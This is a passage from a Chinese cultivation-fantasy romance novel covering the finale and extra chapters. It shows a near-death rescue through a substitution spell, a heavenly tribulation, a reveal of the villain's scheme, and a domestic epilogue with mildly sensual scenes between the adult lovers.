有自玄天镜洒下的灵光落在她脸上,将那张与她有着数分相似的姣好面容衬得越发惨淡如霜。 虞曦云觉得自己应是不会难过的,她们虽是姐妹,可相处的时间加起来也没几天,甚至之前都是争锋相对的状态。 但当她视线触及那道摇摇欲坠的纤薄身影时,她几乎本能地是踉跄着到了她的身旁。 她的血浸透了衣衫,先是温热,转为冰凉,像要掏空她一般,无止无尽、无声无息地流淌,一点一滴,都在失去。 她口鼻逸出的浅浅温息,逐渐微弱,即便近在她颈间,也轻到快要感受不到。 “会没事的,你坚持住。”虞曦云慌乱着从储物袋中抓起一把灵丹,尝试着喂入她口中。 但虞知鸢已经无力吞咽。 那灼烧着她魂魄的火焰始终未曾熄灭,只是她却渐渐地感觉不到痛了,只觉得浑身上下疲倦得连根手指头都抬不起来。 她轻轻呼出一口气,脊背无力贴在虞曦云身上,声音破碎,低得只剩气音:“叫我声……阿姐吧……” 虞曦云眼中泪水再抑制不住,落下来,滴到虞知鸢身上,和她胸口的血色融到一起。 “阿姐……” 虞知鸢努力扯了下唇角,但眼前却彷佛被蒙上了一层黑绸纱,寸寸色彩皆褪。 淡淡飞扬的灰烬间,玄天镜中似乎有什么在晃动。 可她已经看不清了。 完结&番外 第70章 第70章我这样的恶鬼,终于也有…… 魔胎被灭,魔域通道重新关闭,事情本该就此告一段落。 可漫天滚滚黑云却依旧没有退散的迹象,层层叠叠压下来,直压得众人心慌气闷,连方才半空中那几人为何打作一团都顾不上了。 “怎……怎么回事?” “我瞧着像是渡劫天雷,想是咱们这里有人要渡劫了吧。” 其他人闻声大大松了口气。 修士修士,自是要修身修心,虽方才经历一场大战,各宗主长老也跌了不少修为,但有些人就是要与人交战才提升最快,心境到了,突破自然也不在话下。 但等他们转头四顾,却发现此间好似无人有进境的迹象时,又都不觉心中生疑。 这一地残兵,怎么看,也不像有人要突破了啊。 那厢各宗宗主长老自也看见了这番异象,他们面面相觑,目光中多少都透出了些惊诧惶惶。 不过片刻,云层愈发厚了,甚至其中已隐隐可见电光闪烁,那强大威压,便是玄天镜都好似挡不了分毫。 空灵谷谷主忍不住出声道:“这莫非是……天罚雷劫?” 那些年纪轻修为浅的弟子们或许认不出来,但他们这些老家伙,多少也经历过几次渡劫天雷,全不似眼下这般,威势重得像是要将人生生压死似的。 空灵谷谷主的话一出,所有人都是浑身一凛,目光不约而同落到了容清真人身上。 容青真人盯着云层中如银龙般穿梭的电光,沉默半晌,肯定了空灵谷谷主的话:“是天罚雷劫。” 这下大家都呆住了。 天罚雷劫可是天道降下的惩戒,在场,又有哪个值得天道亲自出手? 难道是…… 那个魔? 他还没死? 思及此,众人心中皆是一颤。 半晌都没人再敢发出一点声音。 还是容清真人最先定下神来,他顿了顿,道:“那魔尚还活着。” 这话落下,惶惶不安的气氛登时笼罩了所有人。 方才一战几乎已出动了整个修真界中所有的大能修士,如此这番,竟也灭不了那魔吗? 太墟宗宗主广明道人憋不住道:“既天道降下天罚,想来那魔必死无疑。” 容清真人掀了掀眼皮,只道:“但愿如此。” 又过去片刻,天空上乌云急速卷动而过,轰隆作响的雷声开始在云层中炸响。 广明真人从黑云之中收回视线,闷声道:“此间事已非我等有余力再管,还是早些撤离罢。” 他话音方落,伴随着“轰隆”一声雷响。 “这不是普通雷劫,我们得走——”慕言蘅抬头扫了一眼厚重的云层,而后转头看向虞曦云,却在视线在触及虞曦云怀中那人时蓦地一顿。 方才似乎彻底失去意识的人,此时竟是恢复了一丝微弱气息,便是被剑刺穿的伤口处,也有灵光不断汇聚,似乎……是在修复那道剑伤。 而怀抱着虞知鸢的虞曦云,自是比慕言蘅更早察觉到这一幕,看到的自然也更多一些。 修复虞知鸢伤口的那道灵光,是从系在她腰间那枚极品灵玉里窜出来的。而随着伤口的修复,那极品灵玉中的灵光飞速黯淡下来。不过短短几息,灵玉上甚至已经出现了数条裂痕。 而就在虞知鸢身上那道血肉模糊的伤口彻底恢复之时,那灵玉倏然碎裂,自她腰间落下,缓缓消散在了空气中。 慕言蘅蹙着眉头,好一会儿才看出来什么,意味不明道:“是替身术。” /// 虞知鸢是被一阵堪称震耳欲聋的轰隆声吵醒的。 她睁开眼,脑子还没开始运转,便看见了一道粗壮非常,里头裹着蓝紫色电光的天雷穿过悬在半空中的玄天镜,重重落了下来。姜氏主宅的建筑瞬间被劈了个粉碎,化作一地焦黑。 伴随着大作的狂风,碎石残垣被卷至半空,与雷光交错,叫人只觉胸口发紧。 虞知鸢重重喘了口气,待将胸腔中那股滞闷都散出去了,意识才渐渐恢复清晰。 她蜷了蜷手指。 魂魄被灼烧,以及身上被戳了个洞的疼痛不适已然全数消失,内府中还盈满了温暖柔和的灵力,甚至隐隐又要突破一个境界的势头。 脑子里闪过的第一个念头:不愧是修真界,这样都不死…… 念头一闪的功夫,厚重的云层之中,隐隐可见一道比方才还要粗壮的雷电已蓄势待发。 虞知鸢不自觉地眯起了眼。 视线紧紧盯住了那一处。 然而这一回,那天雷却没能落下来。 或者说,在落到一半的时候,也就是穿过玄天镜的功夫,天雷中蕴含的那股子威压像是凭空被泄掉大半,等再落到地面,竟是半点动静也没有掀起来。 正在山下众人不明所以时,天空中层层叠叠的厚重云层似乎也出现了散开的迹象,甚至能感觉到有微弱的阳光透过云层间隙,轻轻洒了下来。 “这就……结束了?” “不愧是天罚雷劫,这一下就把那魔给劈死了……” “我瞧着怎么是那玄天镜有点不对?” “不会吧,玄天镜是神器,总不会护着妖魔吧?” “……” 众人七嘴八舌讨论的功夫,天边忽然响起了像是什么东西碎裂的声音,一声接着一声。 还是修为更高一些的修士先注意到玄天镜上出现了数道裂痕。 玄天镜正在碎裂。 他们还来不及发出惊讶或是惊恐的声音,便见玄天镜骤然发出一阵刺目的白光,而后一声巨大的响声,带着极强的压迫感,镜子散作了无数点点灵光, 众人本能地闭上眼,捂住了耳朵,但就算是这样,也依然能感觉到耳边一点点濡湿。 那是血流出来了。 天地霎时一片寂静。 唯有虞知鸢并不受这强大威压的影响,于是也只有她看到,在玄天镜碎成粉末的瞬间,一团白色的东西从镜中飞出,直直落到了她怀中。 她本能地抬手接住。 等她坐起身,再低下头去,便看到正窝在她怀中的小猫似的一团。原本雪白的毛发,有些大约是因被雷劈焦了而微微卷起,有些则是染上了血色。 白中一抹鲜红,实在太扎眼。 虞知鸢的眼皮不自禁地跳了下。 她深吸一口气,屈指凑到他鼻头前。 极其微弱的气息,轻拂过她的指尖。 还活着。 她心中一定,这才扒开了他身上染血的毛,没有伤痕。 她又扒了两下,然后发现自己捧着他的那只手上,指尖染上了血色。 伤口在胸腹处? 正要把他翻过来,想到什么,猛地抬眸扫视过四周。 此处正是濉无山山脚,透过一层屏障,远远的能看见不少捂耳闭眼的修士,离她最近的是虞曦云和慕言蘅,就坐在屏障外头打作调息。 兴许是因为玄天镜的影响,又隔了一层屏障,二人并没有察觉她这边的动静。 如此,虞知鸢还是转过身,用背挡住了可能看过来的视线。 翻过来后,果然瞧见他胸口处有一道伤口,血色正不断从伤口漫延出来。 是剑伤,又恰在胸口,实在不得不叫她多想。 但虞知鸢还是按住了脑中的思绪,她从储物袋中取出几枚聚灵丹,掰开他的嘴塞进去。 聚灵丹入口即化。 片刻功夫,伤口的血便止住了。 虞知鸢长长吐出一口气,这才摸了摸小白虎的脑袋。 没死就成。 只要没死,多花点时间,总能养成个人的,她心道。 /// 月华影转,照在屋外结了银霜的青砖上,冷莹莹一片。 窗户大开的屋内,青色床帐内窸窸窣窣地伸出一节细白的手腕,摸索着撩开了床帐。 安静片刻,床榻上的人影又突地翻了个身,纤长莹润的大腿也从被褥中探了出来。 如此又安静了片刻。 也就只有片刻。 那灼热温度又一次包裹住了床榻上睡得半梦半醒人,即使是在睡梦中,也让她不自觉地蹙起了眉尖。 直到某一刻,那节节攀升的温度化为一道灼热的气息,喷薄在她耳际,烫得她止不住地颤栗。 也就是这一瞬间,虞知鸢迷迷糊糊睁开了眼。 细细密密的吻从耳后到脖颈,皮肤被滚烫的唇舌一寸寸丈量过,一股熟悉又难耐的灼意便也跟着从全身骨头缝里生出来。 她闭了闭眼,有些无奈道:“你怎么又起来——唔——” 话还没说完,他忽然咬住了她的唇,暗哑的声音自两人唇齿间断断续续溢出:“发……情期……” 虞知鸢:……好罢。 姜辞咬住她唇的力气不大不小。 虞知鸢没感觉到痛,但能清晰感觉到他的牙齿叼着她的唇瓣轻轻磨了磨,停顿片刻,克制地舔了舔,这才撬开她的唇齿探了进去。 姜辞在床榻上向来强悍狂肆,少有如此温柔克制的时候,然而就是这样小意的厮磨,更叫虞知鸢品出了他此刻的小心翼翼和终于得偿所愿的欢喜。 她抬手抱住他的脖颈,感受着他的反应,听着他渐渐变了节奏的呼吸,也配合地抬腿勾住了他的腰。 姜辞将她按得更紧。 磅礴灵力涌入之际,她沁着层薄汗的脖颈不自禁地向后弯出一道莹白曲线。 近来的惶惶难安,也只有在这样的时刻才会被这充盈的感觉冲淡。 说起来,距离天罚雷劫也不过短短几日。那会儿在濉无山下,她还以为少则个把月,多则几十年甚至几百年他才能恢复,不曾想,当晚他便化作了人形,只不过时间很短,只在她耳边叫了她一声“阿鸢”便又沉沉睡去。 但即便只是这么一声,也足以叫她松了一大口气。 许是察觉到她的不专心,他一个深入,撞的她按不住地浑身战栗,脑中都泛起了眩晕。 但还记得在得了喘息的空,亲了亲他的唇角,告诉他:“姜辞,我很庆幸。” 若不是他想要替她承受所有的伤害,在她身上用了替身术,玄天镜也不会替他挡下天罚雷劫,若不是这天罚雷劫,他体内的魔气或许终有会控制不住的一日,若不是当时银砂突然蹿出撞歪了那一剑,他或许再也醒不过来。 而现在,她还活着,他也还在,又如何能不叫她感到庆幸呢? “还有……”她捧住他的脸,染着迷离水光的眼睛直直望入他的眼底。 那里头,只有一个她。 这回,不需要他再来乞求她的承诺,她心甘情愿地给出她的承诺。 “以后……我只爱你一个。” 她缱绻的声音,和着勾勾缠缠的语调,轻飘飘落下来,姜辞只觉得心跳砰砰,浑身血液奔腾,身体里涌起的强烈的侵占欲。望再压抑不住。 他无比虔诚地吻住她,翻涌的情绪侵占了他整个胸腔。 “阿鸢,阿鸢。”他喃喃叫她,一遍又一遍,力道也愈发重,像是要将她和自己融为一体似的。 阿鸢…… 我自出生起便是恶鬼,为亲人所不喜,为世人所厌恶,而你,是我唯一的妄念。 我这样的恶鬼,终于也有人相伴。 ——正文完 第71章 第71章【番外】揭秘章,没有兴趣可略过…… 天罚雷劫来势凶悍摄人,结束得却是莫名其妙。 在确定天罚雷劫结束之后,容清长老带人上濉无山又察看一遍,好在并不见那魔还活着的迹象,如此修真界众人也都大大松了口气。 而在各宗门清点弟子的时候,众人才惊觉之前那些三大世家的修士,竟都是被人控制的傀儡。或许是控制它们的人出了事,这些傀儡的躯壳也很快便化作了飞灰。 再联想到这些人是息尘长老找来,以及在天罚雷劫前,慕言蘅和息尘那一战,几位宗主大能自是发现了其中的蹊跷。 趁各宗门弟子还在整顿的功夫,容清真人和其他几位大宗宗主叫来了慕言蘅,询问究竟是怎么回事。 “息尘是有神兽青龙血脉的息家家主。”慕言蘅道。 众人闻言顿时一怔。 只是如此一来的话,很多说不通的地方,似乎都有了解释。 难怪他会那么清楚四大世家的事情。 当时凌云宗内,他说姜家孕育魔胎这事是从那个从姜家逃出来的弟子处得知,他们震惊愤怒之余,竟未对此生疑。眼下想想,此等秘辛,那姜氏家主必定会死死隐瞒,又岂是一个普通弟子能够知道的呢? 容清真人看了看慕言蘅道:“那些傀儡,也是他弄出来罢。” 慕言蘅点了点头,“还是从头说起吧。四大世家的来历几位应当也清楚,他们拥有神兽血脉,但在与人结合后,一代一代,传承下来的血脉之力越加稀薄,想要飞升,自然也就愈发艰难。但在玉尘仙子诞生后,一切便有了转机。而此前他说的,炼化魔胎金丹可成仙,只是一个他编造出来的谎言罢了,食玉尘仙子魂魄中所含清气可飞升才是真。” 众人闻言不由提起了精神。 “你的意思是……他不仅骗了我们,便是姜家也是受了他的蒙骗?” “但他为何要编造这样的谎言?于他又有什么好处?”广明道人问道。 “世上就一个玉尘仙子,你说呢?”慕言蘅沉声道:“他不仅骗了姜家,便是其他三大家族,也被蒙在鼓中。” 众人闻言皆都讷讷,四下一片寂静。 “息尘已经活了不知道多久,但只要不飞升,终究会有天人五衰的一天,在得知玉尘仙子诞生后,他便生了食其魂魄的心思,只是当他找到玉尘仙子时,她却因救人而伤了魂魄,不得已,他便设计让玉尘仙子孕育了一个孩子。” “这岂不是荒谬?”广明道人忍不住插声道:“他既知道孕育后代会稀释血脉,那即便是继承玉尘仙子血脉的孩子,谁又能保证魂魄有同样功效?” “事已至此,面对这么大的诱惑,他自是要堵一把的。毕竟就算赌输了,他也没什么损失不是吗?”慕言蘅眼含讽刺,嘴角扯出了点锐利的弧度,“不过孩子父亲自然也不是随便什么人都可以,于是他多方考虑,最终选了彼时修炼归元心诀的虞瀚玥。” 归元心诀乃是一修炼元气的功法,可清除吸入体内的灵气中的杂质,使经脉中运转的灵气更加精纯,对玉尘仙子血脉的影响也就越小。 “他成功了。”慕言蘅顿了下,道:“但玉尘仙子却也对此有所察觉,于是在孩子出生后不久,便将她的魂魄一分为二,又想法子将她一半的魂魄送到了异世。” 众人听到这里,又都禁不住地倒吸一口气。 “异世……这玉尘仙子竟能打破时空限制?” “简直闻所未闻……” 容清真人倒是并不意外。 上古天地之灵孕育而生的神祇,许多都拥有凡人难以企及的能力,这玉尘仙子便是谯水的清气孕育而生,有这样的能力,倒也并不特别奇怪。 怪只怪在她如此来历,竟也未能位列仙班…… 不过这倒也与此间 事无甚关系。 “那孩子的魂魄虽被送至异世,但魂魄分割,自是对肉身无益,终有一日,那被送至异世的魂魄会再度归来。息尘可以等,但他不能让再多人知道此事,于是便编造了那魔胎的谎言,让其他人的注意力都放在魔胎上,自己则藏身在凌云宗就近守着那半具魂魄。直到三大世家弟子攻上濉无山……” 慕言蘅说到这里顿了下,再出口的声音越发冰冷:“他们挖出了那魔胎金丹炼化,却无一人得以飞升,他的谎言才被戳破。只可惜,事态变化早在他意料之中,他便索性借用那魔胎之手,兼濉无山上本有的阵法,想要一举灭杀所有世家之人。却是那魔胎出手,护下了其中寥寥几人,却也因那几人中尚有息尘的人,致魔胎重伤,不得不隐藏气息改变身份,藏身于修真界内。” 众人听到这里皆是喉中发梗,一时也不知该说点什么是好。 还是容清真人在一片沉默中先开了口:“这息尘,可当真是下了好大一盘棋啊。只不知,慕道友又是从何处得知这些事?” 其余人闻言,心中也登时一凛。 当日在凌云宗,他们便是听信那息尘一人之言,岂知全然是他一番颠倒黑白之词,眼下这慕言蘅说的虽是条理清晰分明,可他又是从何处得知此等秘辛,谁又知他所言是真是假? 慕言蘅倒也没有隐瞒,“当日凌云宗结侣大典,虞宗主欲要取那魔的金丹,曾对我施以灵控之术,我的灵识虽无法占据主导之位,却也与虞宗主灵识共存,他脑中闪过的念头,我也能感受到。” 这话出来,又是惊了众人一跳。 什么?灵控术?那不是邪修的功法吗? 但很快众人又察觉其中不妥之处来。 “如你所言,这虞宗主应当也是受了息尘的欺瞒,他又如何知道这些事?”容清真人问道。 慕言蘅用力抿了下唇,这才道:“因那息尘也曾对虞宗主用过灵控术,虽他在其后曾消除过虞宗主的部分记忆,但在虞宗主身陨那日,那些记忆都恢复了,我自是也一并知晓了。” “即便如此,这也不过是你一人之言,你让我等如何信你?”有人插声道,话中质疑的意思再明显不过。 慕言蘅也不以为意,缓了口气,才又道:“当年虞宗主的夫人,便是无意间发现此间秘密,被虞瀚玥亲手杀死,她曾留下线索给她的女儿,只可惜我们在前些日子才发现。” “当然,她所言也不过事情中的一部分,”慕言蘅顿了顿,沉声道:“至于信还是不信,你们自己判断便是。” 第72章 第72章“之前还以为…… “所以这当中事,其实你们就是凭那些东拼西凑的记忆凑出来的?” 虞知鸢倒了杯茶递给对面地人,撑着下巴靠在桌上,看她一口喝干了杯中水,还犹嫌不够又不客气地给自己倒一杯,这才白了她一眼:“自是找人求证过的。” 虞知鸢好奇道:“谁?” 虞曦云目光闪了闪,默了片刻后,才道:“林喻。” “?” “当年你母亲便是为了救他才会伤了神魂,尽管他知道的也不是很多,但两厢佐证之下,也就十之八九了。”虞曦云顿了下,“不过这些事到底与他没有太大的关系,反正事情也过去了,索性就没有再将他扯进来。” “……哦。”虞知鸢瞧虞曦云神色似乎有异,咂了咂嘴,似是无意提起:“说起来,那林喻也不知上哪去了。不过从前我看他总在你身边跟前跟后,与你倒还挺亲近的样子。你继任宗主之位,他应当会回来吧。” 虞曦云握着杯子的指尖无意识地紧了紧,只还不等她说话,门外便传来一阵吵吵嚷嚷的声音。 “走开,走开,”一道上蹦下窜的影子映在门扉上,“你很臭,不要靠近阿娘的屋子。” 另一人并不搭理这般无状的语言,依然抬起手敲了敲门:“少夫人,我来送茶点。” 门推开的瞬间,一道银光倏地一窜,粉雕玉琢的漂亮小姑娘窜进虞知鸢怀里,小姑娘不见踪迹,只有露出胜利笑容的小貂舒服地任人抚摸。 虞知鸢忍不住笑了。 到底年纪小,还当谁都像她一样喜欢往人怀里钻呢。 虞知鸢抬手拍拍摇头晃脑的小脑袋瓜子,正想察看一下她身上的伤恢复得如何,冷不丁从屏风后侧更快地窜出来道影子,毫不手软地一爪子把小白貂拍出去,而后霸占了小白貂原本的位置,舒舒服服躺下了,毛绒绒的尾巴还不忘蹭了蹭她的手腕。 虞知鸢:“……” 这边小白貂脚一落地,又变回了身穿桃红色衣衫粉嫩小姑娘。 她睁着一双圆滚滚的眼睛,狠狠瞪了眼虞知鸢怀里的小白虎:“我是看你可怜才让给你,才不是怕你,哼!” 说罢一吐舌,做了个高高在上,不屑他此般举止的鬼脸。 这话出来,小白虎还没怎么着,遥光先忍不住了:“少夫人,银砂言行举止也太无状了,连少主都不看在眼里,少夫人可不能再纵容她无法无天了,她这性子日后要是下了山,保准要挨打。” “你说什么呢!”银砂气呼呼的,两只眼睛里都快喷出火来了,“阿娘疼我,你肯定是嫉妒我!你有本事你管他叫爹啊。” 遥光见她指尖差点戳到小白虎脑门上,气得一个倒仰。等调整好情绪,也懒得再搭理银砂,朝虞知鸢行了个礼便出去了。 倒是银砂不依不饶,屁颠屁颠跟着出去,很快就听不见她叽叽喳喳的声音了。 屋中两人相视一笑。 虞曦云放下杯子,下巴点了点虞知鸢怀里的一团:“不是前几日就恢复得差不多了吗,怎么还这副样子?” 提起这个,虞知鸢难免不去回想堪这几夜她堪称淫。乱的夜生活,耳垂上的红色不由她控制地蔓延到脸颊。 她轻咳一声,掩饰性地拿起杯子抿了口茶水:“应该……还要再养几日吧。” “哦?”虞曦云笑道:“之前还以为他多厉害呢,原来这么虚。” 这话落下,虞知鸢心道不好,果然下一瞬,一截毛绒绒的尾巴便缠了上来。 虞知鸢指尖一颤,压下身体下意识的反应,垂眸警告地看了他一眼。 这时“咚”的一声。 虞曦云重重放下手里的杯子,“行了,我还有事先走了。下月十五前记得回来趟凌云宗。” 虞知鸢这才抬起脸:“继任大典不是下月月底吗?” “我就算傻,但也不瞎。”虞曦云没好气地睨了她脖颈一眼,“总不能等你们搞出人命来再办结侣仪式吧?” 虞知鸢怔了下:“……啊?” 虞曦云:“对了,那个南荣钰真真是半点修真天赋都没有,我已经把他逐出凌云宗了,等结侣仪式后,就让他滚回家去。” 这话说完,她掉头就走。 一转眼,屋子里就只剩下虞知鸢和小白虎了。 只她才一个错眼,小白虎就化作了一道高挑劲瘦的人影。 姜辞扣住她的腰,将她抱了起来,往床榻的方向走去。 “不是,等等,这都好几天了,”虞知鸢揪他衣襟,“你发。情期还没过?” 姜辞将她抵入床榻间,扶着她的后颈的手轻轻摩挲,轻轻应了声:“嗯。” 虞知鸢:“……还要多久?” 姜辞将她扣得更紧,吻了吻她的颈侧:“到不虚的时候。” 虞知鸢:“……”